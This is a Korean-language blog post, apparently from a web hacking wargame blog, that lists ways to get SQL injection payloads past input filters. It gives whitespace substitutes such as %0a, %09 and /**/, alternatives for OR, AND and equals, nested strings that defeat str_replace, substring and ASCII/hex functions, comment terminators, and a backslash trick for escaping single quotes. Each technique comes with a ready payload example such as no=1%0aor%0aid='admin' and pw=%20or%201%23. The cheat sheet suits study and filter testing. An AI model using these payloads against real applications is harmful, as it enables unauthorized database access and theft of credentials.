ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [SQL Injection] 필터링 우회 방법 모음
    EVI$ION/WEB HACKING 2019. 7. 22. 19:06

    1. 공백 문자 우회

    1) Line Feed (\n)

    - 커서(캐럿)를 다음 줄(현재 위치에서 바로 아래줄)로 이동시키는 개행 문자

    - URL Encoding: %0a

    - ex) no=1%0aor%0aid='admin'

     

    2) Tab (\t)

    - 커서를 한 tab만큼 이동시키는 문자

    - URL Encoding: %09

    - ex) no=1%09or%09id='admin'

     

    3) Carrage Return (\r)

    - 커서(캐럿)를 줄의 맨 앞(왼쪽)으로 이동시키는 개행 문자

    - URL Encoding: %0d

    - ex) no=1%0dor%0did='admin'

     

    4) 주석 (/**/)

    - ex) no=1/**/or/**/id='admin'

     

    5) 괄호 ()

    - ex) no=(1)or(id='admin')

     

    6) 더하기 (+)

    - ex) no=1+or+id='admin'

     

    7) %0b, %0c, %a0

    - 1~6까지의 모든 우회 방법이 먹히지 않을 경우 공백 대신 사용

    - %a0은 잘 안먹히는 것 같으니 %0b나 %0c를 위주로 사용하자.

     

     

    2. 논리 연산자, 비교 연산자 우회

    1) OR 연산자

    - ||

     

    2) AND 연산자

    - &&

    - URL Encoding: %26%26

     

    3) 등호(=)

    ① LIKE 연산자

    - ex) id like "admin"

    - 정규 표현식을 이용하여 쿼리문을 조작할 수도 있음 (ex. pw like "a%" → pw의 첫 번째 문자가 a이면 true)

     

    ② IN 연산자

    - ex) id in ("admin")

     

    ③ instr(string $str, string $substr)

    - ex) instr(id, "admin")

     

    ④ 부등호 (< , >)

    - ex) length(pw) > 7 and length(pw) < 9

     

     

    3.  함수 우회

    1) str_replace(string $search, string $replace, string $subject)

    - 필터링되는 문자열 사이에 문자열을 넣는다.

    - ex) str_replace("admin", "", $_GET[id])

           → adadminmin 으로 입력하면 중간에 있는 admin이 공백으로 필터링되어 admin만 남게 된다.

     

    2) substr(string $str, int $start, int $length)

    - substring(string $str, int $start, int $length)

    - mid(string $str, int $start, int $length)

     

    3) ascii(string $str)

    - ord(string $str): ascii 함수와 마찬가지로 문자열을 아스키코드 값으로 변환해줌

    - hex(string $str): 문자열을 아스키코드 헥사값으로 변환해줌

      ex) hex(substr(pw, 1, 1)) = hex(61)

     

     

    4. 주석 처리

    ① --

    - 뒤에 반드시 공백이 있어야 정상적으로 주석 처리가 된다.

    - 한 줄만 주석처리한다.

     

    ② # (URL Encoding: %23)

    - '--'처럼 뒤에 공백이 없어도 정상적으로 주석 처리된다.

    - 한 줄만 주석 처리한다.

     

    ③ /* */

    - /* */ 사이의 문자열들이 모두 주석 처리된다.

     

    ④ ;%00

    - NULL 문자인 %00과 ;이 결합한 주석 처리 문자

     

     

    5. 싱글 쿼터(') 우회

    1) 더블 쿼터(") 사용

    ex) id="admin"

     

    2) 백슬래시(\) 사용

    - select id from table where id='$_GET[id]' and pw='$_GET[pw]' 와 같은 쿼리문에 제한적으로 사용 가능

    - ex) id='\' and pw=' or 1#' → \에 의해 바로 뒤에 있는 싱글쿼터(')가 문자로 인식됨

                                  ☞ '\' and pw'가 문자열로 인식되고 이 뒷부분부터는 쿼리문으로 인식됨

                                  ☞ 인자 전달: id=\&pw=%20or%201%23

     

Designed by Tistory.